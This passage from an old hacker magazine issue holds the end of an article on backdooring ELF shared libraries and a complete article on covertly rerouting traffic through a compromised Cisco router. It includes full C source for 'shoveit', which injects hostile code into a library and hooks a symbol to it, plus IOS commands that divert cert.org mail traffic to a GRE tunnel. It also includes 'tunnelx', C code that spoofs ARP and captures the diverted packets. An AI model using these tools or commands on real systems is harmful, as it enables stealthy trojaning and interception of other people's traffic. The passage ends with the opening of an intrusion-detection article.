00d0 00000000 00000000 00000000 00000000 ................ 00e0 01000000 14120000 00000000 1100f1ff ................ 00f0 0a000000 08120000 00000000 1100f1ff ................ 0100 20000000 d8010000 13000000 12000500 ............... 0110 25000000 00000000 00000000 10000000 %............... 0120 2c000000 ec010000 14000000 12000500 ,............... 0130 31000000 00020000 00000000 1100f1ff 1............... 0140 38000000 64120000 00000000 1100f1ff 8...d........... 0150 3f000000 64120000 00000000 1100f1ff ?...d........... 0160 4b000000 64120000 00000000 1100f1ff K...d........... ipdev:~/tmp/bfd$

You can observe that the first entry of the dynamic symbol table (the second being used by the _DYNAMIC section symbol which has value of 0x1214) is nulled out. To our eyes, it's just another mystic feature established by the ELF standard, which is not worth being taken in consideration for our hooking operation.

‑‑‑‑| SHOVEIT: a multipurpose code insertion tool

In order to simplify the task of backdooring shared libraries and static objects, I wrote a nice little tool which will enable you to use some bfd APIs without having to worry about programming. Of course, this could open the door to script kiddies, but they would have had to go thru all of this article before using it, and I doubt most of them can do that. The tool is located at the end of the article, extractable using the Phrack Magazine Extraction Utility.

Lets take a look at a practical code insertion example using shoveit. Suppose here we are backdooring the same lib.so shared library as we were trying to backdoor at the beginning of this article. Its most interesting symbols are still the function haha (the one we call) at address 0x1d8 and the function huhu (the one we hook) at address 0x1ec. We are also using the backdoor we wrote previously, "eggcode.s".

ipdev:~/tmp/bfd$ gcc ‑c test.s

ipdev:~/tmp/bfd$ objdump ‑h test.o

test.o: file format elf32‑i386

Sections:

Idx Name Size VMA LMA File off Algn 0 .text 00000023 00000000 00000000 00000034 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE

1 .data 00000000 00000000 00000000 00000058 2**2 CONTENTS, ALLOC, LOAD, DATA

2 .bss 00000000 00000000 00000000 00000058 2**2 ALLOC

ipdev:~/tmp/bfd$

We now see that all of our backdoor's code is stored in the eggcode's text section. Before pushing it into our target library, we will have to verify where it will be placed after insertion, so that we can hook the library's symbol table correctly.

ipdev:~/tmp/bfd$ objdump ‑h lib.so

lib.so: file format elf32‑i386

Sections:

Idx Name Size VMA LMA File off Algn 0 .hash 0000003c 00000094 00000094 00000094 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA

1 .dynsym 000000a0 000000d0 000000d0 000000d0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA

2 .dynstr 00000050 00000170 00000170 00000170 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA

3 .rel.text 00000018 000001c0 000001c0 000001c0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA

4 .text 00000028 000001d8 000001d8 000001d8 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE

5 .rodata 00000006 00000200 00000200 00000200 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA

6 .data 00000000 00001208 00001208 00000208 2**2 CONTENTS, ALLOC, LOAD, DATA

7 .got 0000000c 00001208 00001208 00000208 2**2 CONTENTS, ALLOC, LOAD, DATA

8 .dynamic 00000050 00001214 00001214 00000214 2**2 CONTENTS, ALLOC, LOAD, DATA

9 .bss 00000000 00001264 00001264 00000264 2**2 ALLOC

10 .note 00000014 00000000 00000000 00000264 2**0 CONTENTS, READONLY

11 .comment 00000012 00000000 00000000 00000278 2**0 CONTENTS, READONLY

ipdev:~/tmp/bfd$ nm ‑‑dynamic lib.so

00001214 A _DYNAMIC

00001208 A _GLOBAL_OFFSET_TABLE_

00001264 A __bss_start

00001264 A _edata

00001264 A _end

00000200 A _etext

000001d8 T haha

000001ec T huhu

U printf

ipdev:~/tmp/bfd$

Great. We observe that if we insert our hostile code right after the global offset table's content, we will have to alter the huhu's value from 0x1ec to 0x1214 (0x1208+0xc). We will now use shoveit to append our backdoor code to our library's .got section, and to hook the "huhu" symbol so it points to the position at which our backdoor was inserted.

ipdev:~/tmp/bfd$ ./shoveit test.o .text lib.so .got 0x1ec 0x1214 Hooking statsyms from 0x1ec to 0x1214

Hooking dynsyms from 0x1ec to 0x1214

Inserting 35 hostile bytes into .got

ipdev:~/tmp/bfd$ nm ‑‑dynamic lib.so

00001214 A _DYNAMIC

00001208 A _GLOBAL_OFFSET_TABLE_

00001264 A __bss_start

00001264 A _edata

00001264 A _end

00000200 A _etext

000001d8 T haha

00001214 T huhu

U printf

ipdev:~/tmp/bfd$ objdump ‑D ‑‑section=.got \ ‑‑start‑address=0x1214 lib.so

lib.so: file format elf32‑i386

Disassembly of section .got:

00001214 <.got+c> nop

00001215 <.got+d> nop

00001216 <.got+e> nop

00001217 <.got+f> nop

00001218 <.got+10> nop

00001219 <.got+11> nop

0000121a <.got+12> pushl %ebp

0000121b <.got+13> movl %esp,%ebp

0000121d <.got+15> jmp 0000122b <_DYNAMIC+17>

0000121f <.got+17> call 000001d8 <haha>

00001224 <.got+1c> addl $0x4,%esp

00001227 <.got+1f> movl %ebp,%esp

00001229 <.got+21> popl %ebp

0000122a <.got+22> ret

0000122b <.got+23> call 0000121f <_DYNAMIC+b>

00001230 <.got+28> ja 0000129a <__bss_start+36>

00001232 <.got+2a> outsl %ds:(%esi),(%dx)

00001233 <.got+2b> jb 0000129a <__bss_start+36>

00001235 <.got+2d> orb (%eax),%al

ipdev:~/tmp/bfd$

Wonderful. We have inserted our hostile code at vma 0x1214 in the library and hooked the huhu symbol to make it point to it. Furthermore, you can observe that our calculations from the first part of this article were right: our code successfully calls the haha() function within the target library. Nothing can stop us from now on...

ipdev:~/tmp/bfd$ ldd prog

./lib.so => ./lib.so

ipdev:~/tmp/bfd$ ./prog

whore

ipdev:~/tmp/bfd$

‑‑‑‑| The END (sniff)

I hope you all enjoyed this little demonstration. Of course, this is not a new class of vulnerability, however, I hope it will help some people to understand that once your host has lost its integrity, you should always assume the worst. The fact that a system's source code is tightly preserved from prying eyes is not a valid argument when it comes to security. One way or the other, the standards you follow will make your software as potentially vulnerable as any other software.

Greats to adm, promisc, wiretrip, teso, w00w00, and of course, phrack.

‑‑‑‑| Shoveit

<++> p56/bfd/shoveit.c !6de17d5d

/*

*

*Coded by klog <klog@promisc.org>

*

*libbfd relies on libiberty, so

*cc ‑c shoveit.c first, then cc shoveit.o ‑lbfd ‑liberty

*

*shoveit <src_obj> <src_segment> <dst_obj> <dst_segment>

* <orig_addr> <new_addr>

*

*This tool will insert "src_segment" from "src_obj" into

*"dst_segment" of "dst_obj", and alter "symbol" to physical

*value "value".

*

*Portable, stealth, flexible.

*Have fun :)

*

*NB: shoveit does *not* perform relocation

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <bfd.h>

#include <strings.h>

#include <linux/elf.h>

#define DYNSTAB ".dynsym"

#define nonfatal(s) {perror(s); return;}

#define fatal(s) {perror(s); exit(‑1);}

#define bfd_nonfatal(s) {bfd_perror(s); return;}

#define bfd_fatal(s) {bfd_perror(s); exit(‑1);}

char *input_section;

char *output_section;

char *input_filename;

static bfd *bd_bfd;

static sec_ptr bdsection;

static int bd_size = 0;

static int isdone = 0;

static int vma_offset = 0;

static long hooksym;

static long hookval;

void hook_dynstab(struct elf32_sym *symtab, bfd_size_type size)

{

int symcount, i;

symcount = size/sizeof(asymbol);

for(i=0;i<symcount;i++) {

if (symtab[i].st_value == hooksym)

symtab[i].st_value = hookval;

}

}

void setup_section(bfd *ibfd, sec_ptr isection, bfd *obfd)

{

struct section_list *p;

sec_ptr osection;

bfd_vma vma;

bfd_vma lma;

flagword flags;

char *err;

int isdest = 0;

if (!strcmp(output_section, isection‑>name)) isdest = 1;

osection = bfd_make_section_anyway(obfd, bfd_section_name(ibfd, isection));

if (osection == NULL)

fatal("making section");

if (isdone) vma_offset = bd_size;

if (isdest) {

if (!bfd_set_section_size(obfd, osection, bfd_section_size(ibfd, isection)+bd_size)) bfd_fatal("setting size");

isdone = 1;

} else {

if (!bfd_set_section_size(obfd, osection, bfd_section_size(ibfd, isection)))

bfd_fatal("setting size");

}

vma = bfd_section_vma (ibfd, isection) + vma_offset;

if (!bfd_set_section_vma(obfd, osection, vma))

fatal("setting vma");

osection‑>lma = isection‑>lma + vma_offset;

if (bfd_set_section_alignment(obfd, osection, bfd_section_alignment(ibfd, isection)) == false) fatal("setting alignment");

flags = bfd_get_section_flags(ibfd, isection);

if (!bfd_set_section_flags(obfd, osection, flags)) bfd_nonfatal("setting flags");

isection‑>output_section = osection;

isection‑>output_offset = 0;

if (!bfd_copy_private_section_data(ibfd, isection, obfd, osection)) fatal("setting private data");

return;

}

void copy_section(bfd *ibfd, sec_ptr isection, bfd *obfd)

{

struct section_list *p;

arelent **relpp;

long relcount;

sec_ptr osection;

bfd_size_type size;

long relsize;

int isdest = 0;

char **matching;

if (!strcmp(output_section, isection‑>name)) isdest = 1;

osection = isection‑>output_section;

size = bfd_get_section_size_before_reloc(isection);

if (size == 0 || osection == 0 || bd_size == 0)

return;

if (bfd_get_section_flags(ibfd, isection) & SEC_HAS_CONTENTS) {

PTR memhunk = (PTR)xmalloc((unsigned) size);

if (!bfd_get_section_contents(ibfd, isection,

memhunk, (file_ptr) 0, size))

nonfatal ("get_contents");

if (isdest) {

PTR bdhunk = (PTR)xmalloc((unsigned)size+bd_size);

printf("Inserting %i hostile bytes into %s\n",

bd_size, osection‑>name);

bcopy(memhunk, bdhunk, size);

if (!bfd_get_section_contents(bd_bfd, bdsection, bdhunk+size, 0, bd_size))

bfd_nonfatal ("get_contents");

if (!bfd_set_section_contents(obfd, osection, bdhunk, (file_ptr) 0, size+bd_size)) bfd_nonfatal("set_contents");

free (bdhunk);

} else {

if (!strcmp(osection‑>name, DYNSTAB)) {

printf("Entering %s\n", osection‑>name); hook_dynstab(memhunk, size);

}

if (!bfd_set_section_contents(obfd, osection, memhunk, (file_ptr) 0, size)) bfd_nonfatal("set_contents");

}

free (memhunk);

}

}

void copy_object(bfd *ibfd, bfd *obfd)

{

long start;

long symcount, i;

long symsize;

char **matching;

asymbol **symtab;

start = bfd_get_start_address(ibfd);

if (!bfd_set_format (obfd, bfd_get_format(ibfd))) nonfatal ("set_format");

bd_bfd = bfd_openr(input_filename, "i586‑pc‑linux‑gnulibc1");

if (!bd_bfd) bfd_fatal("bfd_openr"); bfd_check_format_matches(bd_bfd, bfd_object, &matching); bdsection = bfd_get_section_by_name(bd_bfd, input_section);

if (!bdsection) bfd_fatal("bfd_section");

bd_size = bfd_section_size(bd_bfd, bdsection);

if (!bd_size) bfd_fatal("section_size");

if (!bfd_set_start_address (obfd, start) || !bfd_set_file_flags(obfd,(bfd_get_file_flags(ibfd)

& bfd_applicable_file_flags(obfd))))

{

bfd_fatal("set_file_flags");

}

if (!bfd_set_arch_mach(obfd, bfd_get_arch (ibfd), bfd_get_mach (ibfd)))

{

fprintf (stderr,

"Output file cannot represent architecture %s\n", bfd_printable_arch_mach (bfd_get_arch(ibfd), bfd_get_mach(ibfd)));

}

if (!bfd_set_format (obfd, bfd_get_format(ibfd))) nonfatal ("set_format");

bfd_map_over_sections(ibfd, (void *)setup_section, obfd);

symsize = bfd_get_symtab_upper_bound(ibfd);

if (symsize < 0) nonfatal("get_symtab");

symtab = (asymbol **)xmalloc(symsize);

symcount = bfd_canonicalize_symtab(ibfd, symtab);

if (symcount < 0) nonfatal("canon_symtab");

printf("Scanning %i symbols\n", symcount); for(i=0;i<symcount;i++)

if (symtab[i]‑>value == hooksym) { symtab[i]‑>value = hookval; printf("Static symbol \"%s\" =+ %x\n",

symtab[i]‑>name, symtab[i]‑>value);

break;

}

bfd_set_symtab(obfd, symtab, symcount);

bfd_map_over_sections(ibfd, (void *)copy_section, obfd);

if (!bfd_copy_private_bfd_data (ibfd, obfd)) fatal("bfd_copy_private_bfd_data");

}

main(int argc, char *argv[])

{

bfd *ibfd;

char **matching;

char *output_filename;

input_filename = argv[1];

input_section = argv[2];

output_filename = argv[3];

output_section = argv[4];

hooksym = strtol(argv[5], NULL, 16);

hookval = strtol(argv[6], NULL, 16);

bfd_init();

ibfd = bfd_openr(output_filename, "i586‑pc‑linux‑gnulibc1"); if (ibfd == NULL)

{

bfd_nonfatal("openr");

}

if (bfd_check_format_matches(ibfd, bfd_object, &matching))

{

bfd *obfd;

obfd = bfd_openw("newlib", "i586‑pc‑linux‑gnulibc1"); if (obfd == NULL) bfd_fatal("openw");

copy_object(ibfd, obfd);

if (!bfd_close(obfd)) bfd_fatal("close");

if (!bfd_close(ibfd)) bfd_fatal("close");

execl("/bin/mv", "/bin/mv", "newlib",

output_filename, NULL);

} else {

bfd_fatal("format_matches");

}

}

<‑‑>

Things To Do in Cisco Land When You're Dead

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x0a[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ THINGS TO DO IN CISCOLAND WHEN YOU'RE DEAD ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ gauis <gaius@hert.org> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

v0.2 1/1/00

‑‑‑‑| 1. Disclaimer

Tunnelx (the code) is part of the research and development effort conducted by HERT (Hacker Emergency Response Team). It is not a production tool for either attack or defense within an information warfare setting. Rather, it is a project demonstrating proof of concept.

If you are not the intended recipient, or a person responsible for delivering it to the intended recipient, you are not authorized to and must not disclose, copy, distribute, or retain this message or any part of it. Such unauthorized use may be unlawful. If you have received this transmission in error, please email us immediately at hert@hert.org so that we can arrange for its return.

The views expressed in this document are not necessarily the views of HERT. Its directors, officers or employees make no representation or accept any liability for its accuracy or completeness unless expressly stated to the contrary.

‑‑‑‑| 2. Introduction

When I think about routers in general, I feel exactly like I do when I go to the supermarket and see all this food and then I can't stop thinking of mad cow disease, CJD, GMO... It makes me feel dizzy. Just go on cisco.com and check what cisco 7500 is used for and how many corporations own them and how many thousands of machines get routed through them... There is even a traceroute map somewhere that can give you an idea of how deeply dependant we are on these routers. It's been a long time since I stopped believing in security, the core of the security problem is really because we are trusting trust (read Ken Thomson's article, reflections on trusting trust), if I did believe in security then I wouldn't be selling penetration tests.

How many times have you heard people saying, "Hey I 0wn this cisco, it would be cool if I had IOS src... I could trojan and recompile it and do this and that.", how many times have you heard of people wondering what the fuck they could do with an enable password. The IOS src has been floating around for quite a while now and no‑one'z done anything with it yet; at least not among the regular bugtraq letspretendtobefulldisclosure readers.

Well you don't even really need the IOS src, everything you need is already there, (there is only one little thing that would be nice to have from the src but we'll talk about it below). You can load up the image in IDA, nop out a couple of instructions and the cisco's rmon implementation won't zero the payload anymore and you have a IOS sniffer.

‑‑‑‑| 3. Rerouting demystified

What you want to do is reroute some traffic from a router and send it to some other place, capture it and resend it to the router and make it look like nothing ever happened. Normal operation on a typical config will look like this:

Internet ‑‑‑‑‑‑‑‑‑‑‑‑ Cisco ‑‑‑‑‑‑‑‑‑‑‑‑ Target

Ethernet0 Serial0

What we are going to do is:

# telnet cisco

Trying 192.168.1.240...

Connected to 192.168.1.240.

Escape character is '^]'.

User Access Verification

Password:

cisco> enable

Password:

cisco# configure term

Enter configuration commands, one per line. End with CNTL/Z. cisco(config)# int tunnel0

cisco(config‑if)# ip address 192.168.0.1 255.255.255.0 cisco(config‑if)# tunnel mode ?

aurp AURP TunnelTalk AppleTalk encapsulation cayman Cayman TunnelTalk AppleTalk encapsulation dvmrp DVMRP multicast tunnel

eon EON compatible CLNS tunnel

gre generic route encapsulation protocol

ipip IP over IP encapsulation

nos IP over IP encapsulation (KA9Q/NOS compatible)

cisco(config‑if)# tunnel mode gre ip

cisco(config‑if)# tunnel source ?

A.B.C.D ip address

BRI ISDN Basic Rate Interface

Dialer Dialer interface

Ethernet IEEE 802.3

Lex Lex interface

Loopback Loopback interface

Null Null interface

Tunnel Tunnel interface

cisco(config‑if)# tunnel source Ethernet0/0/0 cisco(config‑if)# tunnel destination 192.168.1.1 cisco(config‑if)# ^Z

cisco# show interfaces Tunnel0

Tunnel0 is up, line protocol is up

Hardware is Tunnel

Internet address is 192.168.0.1/24

MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255 Encapsulation TUNNEL, loopback not set, keepalive set (10 sec) Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1 Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled Checksumming of packets disabled, fast tunneling enabled Last input never, output never, output hang never Last clearing of "show interface" counters never Input queue: 0/75/0 (size/max/drops); Total output drops: 0 5 minute input rate 0 bits/sec, 0 packets/sec

5 minute output rate 0 bits/sec, 0 packets/sec

0 packets input, 0 bytes, 0 no buffer

Received 0 broadcasts, 0 runts, 0 giants

0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort 0 packets output, 0 bytes, 0 underruns

0 output errors, 0 collisions, 0 interface resets 0 output buffer failures, 0 output buffers swapped out cisco#

At that point tcpdump won't show any output unless you try to ping an IP on the 192.168.0.1/24 network. You will see some GRE encapsulated ICMP packets and some icmp proto 47 unreach packet coming from 192.168.1.1.

On your linux test box, make sure you have protocol number 47 unfirewalled,

test# ipchains ‑I input ‑p 47 ‑j ACCEPT # accept GRE protocol test# modprobe ip_gre

test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local 192.168.1.1

test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0 test# ping 192.168.0.2

PING 192.168.0.2 (192.168.0.2): 56 data bytes

64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms ^C

Ok our link is up. And as you can see by default GRE is really stateless. There is no handshake, as we are not in Microsoft land with GRE2 and stupid PPTP.

test# tcpdump ‑i eth1 host 192.168.1.240 and not port 23 tcpdump: listening on eth1

11:04:44.092895 arp who‑has cisco tell private‑gw 11:04:44.094498 arp reply cisco is‑at 0:6d:ea:db:e:ef 11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap) 11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)

GRE's rfc isn't really verbose, and cisco coders are bashed in the linux GRE implementation source for not respecting their own RFC.

Let's look at tcpdump src on ftp.ee.lbl.gov. Tcpdump sources are nice; in the file print‑gre.c we have most of the info we need to start coding tunnelx.

‑‑‑‑| 4. tunnelx ‑ IOS Transparent reroute and capture

I initialized a new CVS tree with libpcap and libnet, some gre header ripped from tcpdump, reread pcap's manpage while eating some Chunky Monkey, took a glance at libnet's API doc and cleaned off the pizza bits and ice cream from my fingers and decided to code something really simple and see if it works:

‑ We define an unused IP address we call REENTRY and a fake ethernet address to avoid a protocol unreachable storm that we call ETHER_SPOOF.

‑ We initialize libpcap and libnet and set up a pcap_loop.

‑ Then we make a pcap handler, which look for IP packets matching the GRE protocol which are going to the tunnel exit point address as well as ARP request packets.

‑ Our ARP parser bails out if it isn't a request for REENTRY or send a reply with ETHER_SPOOF.

‑ Our GRE parser simply swaps IP and ether source and destitution, and writes the packet to disk with pcap_dump(), increase the ttl, recompute the checksum and flush it with libnet_write.

‑ That's it!!! Never would have believed it would have been so simple. Now comes the tricky part; we have to configure the cisco correctly (define an access list with all the stuff you want to reroute in it).

telnet 192.88.115.98

...

config term

int tunnel0

ip address 192.168.0.1 255.255.255.0

tunnel mode gre ip

tunnel source Ethernet0

tunnel destination TUNNELX_REENTRY_IP

!

access‑list 111 permit tcp any host 192.88.209.10 25

!

route‑map certisowned

match ip address 111

set ip next‑hop 192.168.0.7

!

!

interface Ethernet0

description to cert.org

ip address 192.88.115.98

ip policy route‑map certisowned

^Z

If you had tunnelx up and running before setting up the cisco config then it should work now!!! And traceroute doesn't show any thing since its packets are not matched by our access list!

BEWARE, however, when you want to disable the cisco configuration. Remove the route map first with 'no route‑map certisowned' *before* the access list otherwise it will match all packets and they will go in an endless loop. Try it on a small cisco 1600 before going in the wild with this stuff. Also try not to be far away from the cisco. People can only know on which network packets are captured not the actual host since we are arp spoofing, so take advantage of that.

I said in the intro that some bits from IOS src would be nice to use, it is their crypto code. You can setup an encrypted tunnel, make it use the same key on both way so it will encrypt outgoing packets and decrypt them when they come back. Tunnelx is just the same. You just need to add the crypto routine in your pcap reader to make it decrypt the traffic.

Oh yes, I didn't talk about the pcap reader, you can just make a small program that parses the pcap dump from tunnelx, make it un‑encapsulate the GRE packet, and create files for each session. lseek() is the key to do it without missing out of order packets or getting messed up by duplicates. Since this article is not destined for the average bugtraq or rootshell reader, the pcap dump parser isn't included, you can send me some cash if you need a special version of tunnelx or need technical support.

‑‑‑‑| 5. Greeting and final words

:r !cat greetlist |sort ‑u |sed ‑e 's/$/, /'|xargs #hax idlers, acpizer, akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9, ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises, octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr, teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,

I am already working on a new version that will let you do spoofing, hijacking, and monitoring like in hunt... Don't forget you're on the router, you can do everything, and everyone trusts you :).

‑‑‑‑| 6. The code

<++> p56/Tunnelx/tunnelx.c !0d503a37

// Tunnelx is part of the research and development effort

// conducted by HERT. These are not production tools for either attack or

// defense within an information warfare setting. Rather, they are small

// modifications demonstrating proof of concept.

// comments and crap to gaius@hert.org

// to compile on solaris: (i used libnet‑0.99g)

// gcc ‑O2 ‑I. ‑DLIBNET_BIG_ENDIAN ‑Wall ‑c tunnelx.c

// gcc ‑O2 tunnelx.o ‑o tunnelx ‑lsocket ‑lnsl libpcap.a libnet.a

// on linux:

// gcc ‑O2 ‑I. `libnet‑config ‑‑defines` ‑c tunnelx.c

// gcc ‑O2 tunnelx.o ‑o tunnelx libpcap.a libnet.a

#if (HAVE_CONFIG_H)

#include "config.h"

#endif

#include <libnet.h>

#include <pcap.h>

#define IP_UCHAR_COMP(x, y) \

(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])

#define GRE_CP 0x8000 /* Checksum Present */

#define GRE_RP 0x4000 /* Routing Present */

#define GRE_KP 0x2000 /* Key Present */

#define GRE_SP 0x1000 /* Sequence Present */

#define GRE_SIZE (20)

#define GREPROTO_IP 0x0800

#define EXTRACT_16BITS(p) \

((u_short)ntohs(*(u_short *)(p)))

const u_char *packetp;

const u_char *snapend;

#define SNAPLEN 8192

#define TUNNELX_REENTRY "192.168.1.1"

char out[] = "core";

u_long ip_spoof;

u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};

struct gre_hdr

{

u_short flags;

u_short proto;

union

{

struct gre_ckof

{

u_short cksum;

u_short offset;

}

gre_ckof;

u_long key;

u_long seq;

}

gre_void1;

union

{

u_long key;

u_long seq;

u_long routing;

}

gre_void2;

union

{

u_long seq;

u_long routing;

}

gre_void3;

union

{

u_long routing;

}

gre_void4;

};

struct link_int *li;

char default_dev[] = "le0";

char *device = NULL;

void pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p);

char errbuf[256];

int

main (int argc, char *argv[])

{

int cnt, c, ret, snaplen;

bpf_u_int32 localnet, netmask;

char ebuf[PCAP_ERRBUF_SIZE];

char pcapexp[50];

pcap_t *pd;

struct bpf_program fcode;

pcap_handler printer;

u_char *pcap_userdata;

snaplen = SNAPLEN;

printer = pcap_print;

while ((c = getopt (argc, argv, "i:")) != EOF)

{

switch (c)

{

case 'i':

device = optarg;

break;

default:

exit (EXIT_FAILURE);

}

}

//inet_aton (TUNNELX_REENTRY, \_spoof);

ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);

device = default_dev;

if (!device)

{

fprintf (stderr, "Specify a device\n");

exit (EXIT_FAILURE);

}

li = libnet_open_link_interface (device, errbuf);

if (!li)

{

fprintf (stderr, "libnet_open_link_interface: %s\n", errbuf); exit (EXIT_FAILURE);

}

if (device == NULL)

device = pcap_lookupdev (ebuf);

if (device == NULL)

printf ("%s", ebuf);

pd = pcap_open_live (device, snaplen, 1, 500, errbuf);

if (pd == NULL)

{

fprintf (stderr, "pcap_open_live: %s\n", errbuf); return (‑1);

}

if (pd == NULL)

printf ("%s", ebuf);

ret = pcap_snapshot (pd);

if (snaplen < ret)

{

printf ("Snaplen raised from %d to %d\n", snaplen, ret); snaplen = ret;

}

if (pcap_lookupnet (device, , , ebuf) < 0)

{

localnet = 0;

netmask = 0;

}

sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY); if (pcap_compile (pd,

,

pcapexp,

1, netmask) < 0)

printf ("%s", pcap_geterr (pd));

if (pcap_setfilter (pd, ) < 0)

printf ("%s", pcap_geterr (pd));

if (out)

{

pcap_dumper_t *p = pcap_dump_open (pd, out); pcap_userdata = (u_char *) p;

}

if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)

{

(void) fprintf (stderr, "pcap_loop: %s\n", pcap_geterr (pd)); exit (1);

}

pcap_close (pd);

exit (0);

}

void

pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p) {

register struct libnet_ethernet_hdr *eh;

register struct gre_hdr *gh;

register struct libnet_ip_hdr *ih;

register struct libnet_arp_hdr *ah;

register char *dst, *src;

register u_int ih_length, payload_length, off;

u_int length = h‑>len;

u_int caplen = h‑>caplen;

u_short proto;

struct ether_addr tmp_ea;

packetp = p;

snapend = p + caplen;

eh = (struct libnet_ethernet_hdr *) p;

p += sizeof (struct libnet_ethernet_hdr);

caplen ‑= sizeof (struct libnet_ethernet_hdr);

length ‑= sizeof (struct libnet_ethernet_hdr);

switch (ntohs (eh‑>ether_type))

{

case ETHERTYPE_IP:

ih = (struct libnet_ip_hdr *) p;

ih_length = ih‑>ip_hl * 4;

payload_length = ntohs (ih‑>ip_len);

payload_length ‑= ih_length;

off = ntohs (ih‑>ip_off);

if ((off & 0x1fff) == 0)

{

p = (u_char *) ih + ih_length;

src = strdup (inet_ntoa (ih‑>ip_src));

dst = strdup (inet_ntoa (ih‑>ip_dst));

switch (ih‑>ip_p)

{

#ifndef IPPROTO_GRE

#define IPPROTO_GRE 47

#endif

case IPPROTO_GRE:

gh = (struct gre_hdr *) p;

p += 4;

if (memcmp (>ip_dst, _spoof, 4) == 0)

{

// reverse GRE source and destination

memcpy (tmp_ea.ether_addr_octet, >ip_src, 4); memcpy (>ip_src, >ip_dst, 4);

memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4); // ih‑>ip_id++;

// reverse Ether source and destination

memcpy (tmp_ea.ether_addr_octet, eh‑>ether_shost, ETHER_ADDR_LEN); memcpy (eh‑>ether_shost, eh‑>ether_dhost, ETHER_ADDR_LEN); memcpy (eh‑>ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN); // dope the ttl up

ih‑>ip_ttl = 64;

if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == ‑1) return;

if (libnet_write_link_layer (li, device, (u_char *) eh, payload_length + ih_length + sizeof (struct libnet_ethernet_hdr)) == ‑1)

return;

pcap_dump (user, h, packetp);

}

proto = EXTRACT_16BITS (>proto);

break;

default:

return;

}

}

break;

case ETHERTYPE_ARP:

// process arp

ah = (struct libnet_arp_hdr *) p;

if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)

{

return;

}

if (memcmp (ah‑>ar_tpa, _spoof, 4) != 0)

return;

// swap ip source and address i use ar_tha as a temporary place holder

memcpy (ah‑>ar_tha, ah‑>ar_spa, 4);

memcpy (ah‑>ar_spa, ah‑>ar_tpa, 4);

memcpy (ah‑>ar_tpa, ah‑>ar_tha, 4);

// move ether addr source to both destination

memcpy (eh‑>ether_dhost, eh‑>ether_shost, ETHER_ADDR_LEN); memcpy (ah‑>ar_tha, eh‑>ether_shost, ETHER_ADDR_LEN); // copy fake ether addr to both source

memcpy (eh‑>ether_shost, ether_spoof, ETHER_ADDR_LEN); memcpy (ah‑>ar_sha, ether_spoof, ETHER_ADDR_LEN);

// set arp op code to reply

ah‑>ar_op = htons (2);

if (libnet_write_link_layer (li, device, (u_char *) eh,

ARP_H + ETH_H) == ‑1)

return;

break;

}

}

<‑‑>

A Strict Anomaly Detection Model for IDS

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x0b[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ A STRICT ANOMOLY DETECTION MODEL FOR IDS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ sasha / beetle ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

"The three main problems we try to solve to achieve security are: hiding data, ensuring that systems run effectively, and keeping data from being modified or destroyed. In fact you could argue that most of computer security ‑ more so than any other field in computer science ‑ is simply the analysis of imperfection in these areas. Imperfection rather than perfection, because people seem to have a tendency to find what they seek; and (for the secular) finding insecurity (e.g. imperfections), alas, is nearly always more correct than stumbling upon security (e.g. perfection). Obviously computers are indefatigable, not invulnerable."

‑ Dan Farmer

"Central to this type of thinking is the underlying notion of 'truth'. By means of argument which maneuvers matter into a contradictory position, something can be shown to be false. Even if something is not completely false, the garbage has to be chipped away by the skilled exercise of critical thinking in order to lay bare the contained truth."

‑ Edward De Bono

‑‑‑‑| 1. Introduction

IDS (Intrusion Detection Systems) seem to currently be one of the most fashionable computer security technologies.

